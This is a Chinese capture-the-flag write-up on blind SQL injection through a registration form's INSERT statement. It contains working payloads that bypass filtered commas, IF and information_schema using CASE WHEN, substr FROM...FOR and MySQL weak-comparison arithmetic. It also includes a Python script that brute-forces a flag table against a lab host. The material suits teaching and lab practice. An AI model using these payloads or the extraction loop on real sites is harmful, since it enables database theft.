insert into table (id,email,name,pass) values (1,'123@qq.com','123','123')
select name from table where email='123@qq.com'
传入0'or 0 or '0,name返回的是0。传入0'or 1 or '0返回的是1。
先构造insert的报错注入,' or updatexml(1,concat(0x7e,database()),0) or ',结果返回nnnnoooo!!!
经过一番尝试,发现是过滤了,,那就不能用if语句盲注,可以用case when
payload
0'or (select case ascii(substr(database() from 1 for 1)) when 119 then 1 else 0 end) or '0
用ASCII码逐个爆破即可,可以得到数据库web,但是这里ban了information
import re
import string
import requests
import time
table = string.digits+string.ascii_letters+'_{}-'
flag = ''
for i in range(1,50):
for j in table:
# 防止请求次数太多
time.sleep(0.3)
paylaod = f"0'or (select case ascii(substr((select * from flag) from {str(i)} for 1)) when {ord(j)} then 1 else 0 end) or '0"
name = str(time.time())
data = {
'email': f'1234567890{name}@qq.com',
'username': paylaod,
'password': '123'
}
response1 = requests.post('http://3b088f53-2ed9-4a06-b297-024436308dbb.node4.buuoj.cn:81/register.php',data=data)
data_log = {
'email': f'1234567890{name}@qq.com',
'password': '123'
}
response2 = requests.post('http://3b088f53-2ed9-4a06-b297-024436308dbb.node4.buuoj.cn:81/login.php',data=data_log)
try:
# re.DOTALL匹配包括回车在内的所有字符
t = re.search('<span class="user-name">.*</span>',response2.text,re.DOTALL)
tt=re.search('\d+',t.group())
if tt.group()=='1':
flag = flag + j
print(flag)
break
else:
pass
except:
continue
还有一种方法是用sql的弱比较,会把'0'+119+'0'这种做加法运算,payload如下
0'+ascii(substr(database() from 1 for 1))+'0。这会在name处回显查询的值
小结
insert语句中可以使用0'or 0 or '0根据返回结果判断盲注是否存在
在substr函数的,被过滤时,可以使用from 1 for 1
在if被过滤时,可以使用case when。0'or (select case ascii(substr(database() from 1 for 1)) when 119 then 1 else 0 end) or '0
MySQL存在弱比较,会把'0'+119+'0'做加法运算。0'+ascii(substr(database() from 1 for 1))+'0